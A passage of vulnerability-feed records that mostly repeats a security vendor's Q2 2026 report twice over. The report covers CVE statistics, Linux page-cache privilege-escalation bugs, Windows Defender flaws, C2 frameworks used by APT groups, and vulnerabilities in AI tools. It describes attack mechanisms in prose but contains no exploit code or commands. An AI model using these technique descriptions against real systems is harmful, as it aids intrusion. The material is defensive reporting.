Cozystack:\n\n\u2022 tenant workloads run in unprivileged user namespaces \u2014 no CAP_SYS_ADMIN, no CAP_NET_ADMIN, no privileged containers\n\u2022 tenants cannot execute arbitrary code on the host \u2014 only inside their own sandboxed pods/VMs\n\u2022 even if those restrictions were bypassed, the privilege level required to drive the exploit is not reachable from a tenant context\n\nHost kernels will be patched as upstream vendor updates land \u2014 rolled out during the regular maintenance window. No action required on your side.", "creation_timestamp": "2026-07-29T12:00:04.672820Z"}, {"uuid": "9d7f65df-ae0c-4bf5-ae3f-07a9a008c504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-66d81917-442e1a3db5444e7f", "content": "Exploits and vulnerabilities in Q2 2026\nThe vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem.\nSecond, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems.\nStatistics on registered vulnerabilities\nThis section provides statistical data on registered vulnerabilities. The data comes from Kaspersky\u2019s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports.\nWe examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It\u2019s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report, these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing.\nTotal published vulnerabilities per month from 2022 through 2026 (download)\nNext, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period.\nTotal critical vulnerabilities published per month from 2022 through 2026 (download)\nAs the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel.\nExploitation statistics\nThis section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry.\nWindows and Linux vulnerability exploitation\nQ2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new \u201cnamed\u201d vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier:\n\nBlueHammer: a local privilege escalation vulnerability in Windows Defender. During signature database updates, a time-of-check to time-of-use (TOCTOU) race condition occurs, allowing an attacker to substitute the directory where temporary update files are written. The researcher published a fully functional exploit for the vulnerability.\nRedSun: another logical vulnerability in Windows Defender with a working exploit. Suspicious and malicious files marked as \u201ccloud\u201d can be overwritten or restored to their original directory with elevated privileges. The exploit incorporates fragments of algorithms that make it possible to leverage various logical vulnerabilities in Windows, effectively combining a large number of popular exploitation techniques.\nYellowKey: a vulnerability that lets the user bypass BitLocker full-disk encryption and access system data through the Windows Recovery Environment (WinRE). A fully functional exploit was also published.\nGreenPlasma: a vulnerability that enables system object injection via the CTF loader for the Collaborative Translation Framework (CTFMON) service in Windows. The original publication included an exploit with limited functionality.\nRougePlanet: yet another Windows Defender vulnerability that, like BlueHammer, stems from a TOCTOU issue, this time in the engine responsible for real-time system scanning. The published exploit uses the vulnerability to overwrite the system file wermgr.exe with a malicious one.\nUnDefend: another vulnerability in the Windows Defender service. This time, the exploit causes a denial of service and blocks updates.\nEven though such cases remain isolated for now, we believe they\u2019ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues.\nVeteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for:\n\nCVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component\nCVE-2017-11882: another RCE vulnerability also affecting Equation Editor\nCVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system\nCVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within an archive\nCVE-2025-6218 (formerly ZDI-CAN-27198): another WinRAR vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution\nCVE-2025-8088: a vulnerability similar in exploitation method to CVE-2025-6218. The attackers used NTFS Streams to circumvent controls on the directory into which files are being unpacked\nThe vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.\nThat said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low.\nDynamics of the number of Windows users encountering exploits, Q1 2025 \u2013 Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nLinux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system.\nAll the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited:\n\nCVE-2026-31431 (Copy Fail): a local privilege escalation vulnerability in the Linux kernel that lets an unprivileged user modify the page cache and gain root privileges. Especially dangerous for cloud and containerized environments\nCVE-2026-43284, CVE-2026-43500 (Dirty Frag): a family of vulnerabilities in the Linux networking subsystem (IPsec ESP and RxRPC) that lets a local user overwrite the page cache and escalate privileges to root\nCVE-2026-46300 (Fragnesia): a local privilege escalation vulnerability in the Linux kernel related to packet fragment handling and the page cache mechanism. It lets an unprivileged user gain root privileges and is also classified as part of the Dirty Frag family\nCVE-2026-31635 (DirtyDecrypt): a Linux kernel vulnerability that lets a local attacker escalate privileges due to improper handling of decryption operations and page cache data modification\nCVE-2026-43494 (PinTheft): a Linux kernel vulnerability that lets a local user gain elevated privileges due to errors in the memory page pinning mechanism\nCVE-2026-46331 (pedit COW): a vulnerability in the Linux kernel\u2019s traffic control subsystem (tc-pedit) that exploits a flaw in copy-on-write to modify the page cache and subsequently escalate privileges to root\nThe vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well:\n\nCVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications\nCVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation\nCVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem\nCVE-2023-32233: another Netfilter subsystem vulnerability that allows for Use-After-Free conditions and privilege escalation through improper processing of network requests\nDynamics of the number of Linux users encountering exploits, Q1 2025 \u2013 Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nIn Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system\u2019s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn\u2019t an option.\nMost common published exploits\nThe distribution of published exploits by software type in Q2 2026 includes categories that haven\u2019t appeared in the sample for a long time. For instance, we\u2019re once again seeing exploits targeting SharePoint. It\u2019s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components \u2014 often close to genuinely vulnerable mechanisms \u2014 in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware.\nDistribution of published exploits by platform, Q1 2026 (download)\nDistribution of published exploits by platform, Q2 2026 (download)\nVulnerability exploitation in APT attacks\nWe analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources.\nTOP 10 vulnerabilities exploited in APT attacks, Q2 2026 (download)\nIn Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they\u2019re published. As before, we\u2019re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it\u2019s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs.\nC2 frameworks\nIn this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.\nThe chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources.\nTOP 10 C2 frameworks used by APTs to compromise user systems, Q2 2026 (download)\nSliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:\n\nCVE-2026-35273: a vulnerability in Oracle PeopleSoft PeopleTools that security vendors classify as server-side request forgery (SSRF). The details of the vulnerability have never been disclosed, although some research covers the post-exploitation steps\nCVE-2023-46604: an insecure deserialization vulnerability in Apache ActiveMQ that allows arbitrary code execution in the context of the service process\nCVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication\nCVE-2023-36884: a vulnerability in the Windows Search component that allows commands to be run on the system, bypassing the mark-of-the-web (MoTW) mechanism\nCVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server\nCVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities in WinRAR that allow files to be extracted from an archive to a predetermined path, potentially without the archiving utility displaying any alerts to the user\nThese vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day vulnerabilities and fairly well-known security issues.\nLLM/AI tool vulnerabilities\nThis section analyzes data published in Kaspersky\u2019s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base.\nAs mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct.\nThe chart below covers registered vulnerabilities in AI tools for 2025\u20132026.\nNumber of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025\u20132026 (download)\nAs the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It\u2019s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system:\nTOP 6 vulnerability types in products that implement or use AI/LLM logic, 2025\u20132026\nInterestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn\u2019t look like the growing number of AI tools will fix it. It\u2019s also notable that the list includes classes CWE developers themselves don\u2019t recommend using for vulnerability classification, since they lump together a whole range of more specific types. CWE-284 is an example of this.\nLooking at the most common classes, the key issues found in AI-related software can be summed up as follows:\n\nInadequate access control over critical system objects\nImproper implementation of authentication and authorization mechanisms\nInjections\nIt\u2019s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again.\nLooking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let\u2019s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025\u20132026.\nTOP AI/LLM-related projects by number of published vulnerabilities, 2025\u20132026 (download)\nNotable vulnerabilities\nThis section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities.\nCVE-2026-25253: a gatewayUrl vulnerability in OpenClaw\nThe issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation.\nThe attack algorithm exploiting this vulnerability works as follows:\n\nThe application obtains a critical connection address from an external source (the gatewayUrl URL parameter), which is controlled by the attacker.\nThere is no validation before use.\nThe client automatically initiates a connection to the address specified in the parameter, which belongs to the attacker.\nWhile connected, the application sends credentials (an access token) to the specified address.\nIf the attacker obtains a valid token, the consequences depend on that token\u2019s level of access within the system. In general, this could lead to:\n\nUser session compromise\nExecution of operations on the user\u2019s behalf\nModification of the AI agent configuration\nUnauthorized access to tools and resources connected to the agent\nUnder certain OpenClaw configurations, further compromise of the host running the agent\nIt\u2019s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent.\nCVE-2026-41948: a path traversal vulnerability in the Dify AI platform\nThe vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren\u2019t meant for that user. The root cause is insufficient normalization and validation of the URL path before it\u2019s passed to the internal service.\nDepending on the Dify configuration, the consequences can include:\n\nUnauthorized access to internal service interfaces\nBreach of isolation between workspaces\nExposure of internal service information\nConditions favorable to further attacks when combined with other vulnerabilities\nThe use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges.\nCVE-2026-45386: an improper access control vulnerability in Open WebUI\nIn Open WebUI, pin/unpin operations on messages are write operations, since they modify that message\u2019s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message\u2019s pinned status.\nThe vulnerability\u2019s mechanism works as follows:\n\nThe user initiates an action that changes the state of an object.\nThe application treats this action as a regular read request.\nOnly channel view permission is checked.\nThe application performs a write without verifying the required user authorization.\nThis violates one of the fundamental principles of access control models \u2014 namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable.\nAlthough the vulnerability doesn\u2019t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators\u2019 and administrators\u2019 activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the channel containing a pinned message.\nOpen WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators.\nCVE-2026-45501: a vulnerability in Microsoft Exchange\nThe vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text.\nAlthough Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust.\nIt\u2019s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content.\nConclusion and advice\nQ2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise.\nAccordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats. \nsecurelist.com/vulnerabilities\u2026", "creation_timestamp": "2026-08-26T10:30:35.778189Z"}, {"uuid": "529ff29f-c28d-4f9c-b904-719dcf169bb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31635", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-66d81917-442e1a3db5444e7f", "content": "Exploits and vulnerabilities in Q2 2026\nThe vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem.\nSecond, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems.\nStatistics on registered vulnerabilities\nThis section provides statistical data on registered vulnerabilities. The data comes from Kaspersky\u2019s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports.\nWe examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It\u2019s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report, these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing.\nTotal published vulnerabilities per month from 2022 through 2026 (download)\nNext, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period.\nTotal critical vulnerabilities published per month from 2022 through 2026 (download)\nAs the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel.\nExploitation statistics\nThis section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry.\nWindows and Linux vulnerability exploitation\nQ2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new \u201cnamed\u201d vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier:\n\nBlueHammer: a local privilege escalation vulnerability in Windows Defender. During signature database updates, a time-of-check to time-of-use (TOCTOU) race condition occurs, allowing an attacker to substitute the directory where temporary update files are written. The researcher published a fully functional exploit for the vulnerability.\nRedSun: another logical vulnerability in Windows Defender with a working exploit. Suspicious and malicious files marked as \u201ccloud\u201d can be overwritten or restored to their original directory with elevated privileges. The exploit incorporates fragments of algorithms that make it possible to leverage various logical vulnerabilities in Windows, effectively combining a large number of popular exploitation techniques.\nYellowKey: a vulnerability that lets the user bypass BitLocker full-disk encryption and access system data through the Windows Recovery Environment (WinRE). A fully functional exploit was also published.\nGreenPlasma: a vulnerability that enables system object injection via the CTF loader for the Collaborative Translation Framework (CTFMON) service in Windows. The original publication included an exploit with limited functionality.\nRougePlanet: yet another Windows Defender vulnerability that, like BlueHammer, stems from a TOCTOU issue, this time in the engine responsible for real-time system scanning. The published exploit uses the vulnerability to overwrite the system file wermgr.exe with a malicious one.\nUnDefend: another vulnerability in the Windows Defender service. This time, the exploit causes a denial of service and blocks updates.\nEven though such cases remain isolated for now, we believe they\u2019ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues.\nVeteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for:\n\nCVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component\nCVE-2017-11882: another RCE vulnerability also affecting Equation Editor\nCVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system\nCVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within an archive\nCVE-2025-6218 (formerly ZDI-CAN-27198): another WinRAR vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution\nCVE-2025-8088: a vulnerability similar in exploitation method to CVE-2025-6218. The attackers used NTFS Streams to circumvent controls on the directory into which files are being unpacked\nThe vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.\nThat said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low.\nDynamics of the number of Windows users encountering exploits, Q1 2025 \u2013 Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nLinux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system.\nAll the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited:\n\nCVE-2026-31431 (Copy Fail): a local privilege escalation vulnerability in the Linux kernel that lets an unprivileged user modify the page cache and gain root privileges. Especially dangerous for cloud and containerized environments\nCVE-2026-43284, CVE-2026-43500 (Dirty Frag): a family of vulnerabilities in the Linux networking subsystem (IPsec ESP and RxRPC) that lets a local user overwrite the page cache and escalate privileges to root\nCVE-2026-46300 (Fragnesia): a local privilege escalation vulnerability in the Linux kernel related to packet fragment handling and the page cache mechanism. It lets an unprivileged user gain root privileges and is also classified as part of the Dirty Frag family\nCVE-2026-31635 (DirtyDecrypt): a Linux kernel vulnerability that lets a local attacker escalate privileges due to improper handling of decryption operations and page cache data modification\nCVE-2026-43494 (PinTheft): a Linux kernel vulnerability that lets a local user gain elevated privileges due to errors in the memory page pinning mechanism\nCVE-2026-46331 (pedit COW): a vulnerability in the Linux kernel\u2019s traffic control subsystem (tc-pedit) that exploits a flaw in copy-on-write to modify the page cache and subsequently escalate privileges to root\nThe vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well:\n\nCVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications\nCVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation\nCVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem\nCVE-2023-32233: another Netfilter subsystem vulnerability that allows for Use-After-Free conditions and privilege escalation through improper processing of network requests\nDynamics of the number of Linux users encountering exploits, Q1 2025 \u2013 Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nIn Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system\u2019s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn\u2019t an option.\nMost common published exploits\nThe distribution of published exploits by software type in Q2 2026 includes categories that haven\u2019t appeared in the sample for a long time. For instance, we\u2019re once again seeing exploits targeting SharePoint. It\u2019s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components \u2014 often close to genuinely vulnerable mechanisms \u2014 in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware.\nDistribution of published exploits by platform, Q1 2026 (download)\nDistribution of published exploits by platform, Q2 2026 (download)\nVulnerability exploitation in APT attacks\nWe analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources.\nTOP 10 vulnerabilities exploited in APT attacks, Q2 2026 (download)\nIn Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they\u2019re published. As before, we\u2019re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it\u2019s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs.\nC2 frameworks\nIn this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.\nThe chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources.\nTOP 10 C2 frameworks used by APTs to compromise user systems, Q2 2026 (download)\nSliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:\n\nCVE-2026-35273: a vulnerability in Oracle PeopleSoft PeopleTools that security vendors classify as server-side request forgery (SSRF). The details of the vulnerability have never been disclosed, although some research covers the post-exploitation steps\nCVE-2023-46604: an insecure deserialization vulnerability in Apache ActiveMQ that allows arbitrary code execution in the context of the service process\nCVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication\nCVE-2023-36884: a vulnerability in the Windows Search component that allows commands to be run on the system, bypassing the mark-of-the-web (MoTW) mechanism\nCVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server\nCVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities in WinRAR that allow files to be extracted from an archive to a predetermined path, potentially without the archiving utility displaying any alerts to the user\nThese vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day vulnerabilities and fairly well-known security issues.\nLLM/AI tool vulnerabilities\nThis section analyzes data published in Kaspersky\u2019s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base.\nAs mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct.\nThe chart below covers registered vulnerabilities in AI tools for 2025\u20132026.\nNumber of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025\u20132026 (download)\nAs the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It\u2019s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system:\nTOP 6 vulnerability types in products that implement or use AI/LLM logic, 2025\u20132026\nInterestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn\u2019t look like the growing number of AI tools will fix it. It\u2019s also notable that the list includes classes CWE developers themselves don\u2019t recommend using for vulnerability classification, since they lump together a whole range of more specific types. CWE-284 is an example of this.\nLooking at the most common classes, the key issues found in AI-related software can be summed up as follows:\n\nInadequate access control over critical system objects\nImproper implementation of authentication and authorization mechanisms\nInjections\nIt\u2019s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again.\nLooking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let\u2019s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025\u20132026.\nTOP AI/LLM-related projects by number of published vulnerabilities, 2025\u20132026 (download)\nNotable vulnerabilities\nThis section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities.\nCVE-2026-25253: a gatewayUrl vulnerability in OpenClaw\nThe issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation.\nThe attack algorithm exploiting this vulnerability works as follows:\n\nThe application obtains a critical connection address from an external source (the gatewayUrl URL parameter), which is controlled by the attacker.\nThere is no validation before use.\nThe client automatically initiates a connection to the address specified in the parameter, which belongs to the attacker.\nWhile connected, the application sends credentials (an access token) to the specified address.\nIf the attacker obtains a valid token, the consequences depend on that token\u2019s level of access within the system. In general, this could lead to:\n\nUser session compromise\nExecution of operations on the user\u2019s behalf\nModification of the AI agent configuration\nUnauthorized access to tools and resources connected to the agent\nUnder certain OpenClaw configurations, further compromise of the host running the agent\nIt\u2019s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent.\nCVE-2026-41948: a path traversal vulnerability in the Dify AI platform\nThe vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren\u2019t meant for that user. The root cause is insufficient normalization and validation of the URL path before it\u2019s passed to the internal service.\nDepending on the Dify configuration, the consequences can include:\n\nUnauthorized access to internal service interfaces\nBreach of isolation between workspaces\nExposure of internal service information\nConditions favorable to further attacks when combined with other vulnerabilities\nThe use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges.\nCVE-2026-45386: an improper access control vulnerability in Open WebUI\nIn Open WebUI, pin/unpin operations on messages are write operations, since they modify that message\u2019s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message\u2019s pinned status.\nThe vulnerability\u2019s mechanism works as follows:\n\nThe user initiates an action that changes the state of an object.\nThe application treats this action as a regular read request.\nOnly channel view permission is checked.\nThe application performs a write without verifying the required user authorization.\nThis violates one of the fundamental principles of access control models \u2014 namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable.\nAlthough the vulnerability doesn\u2019t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators\u2019 and administrators\u2019 activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the 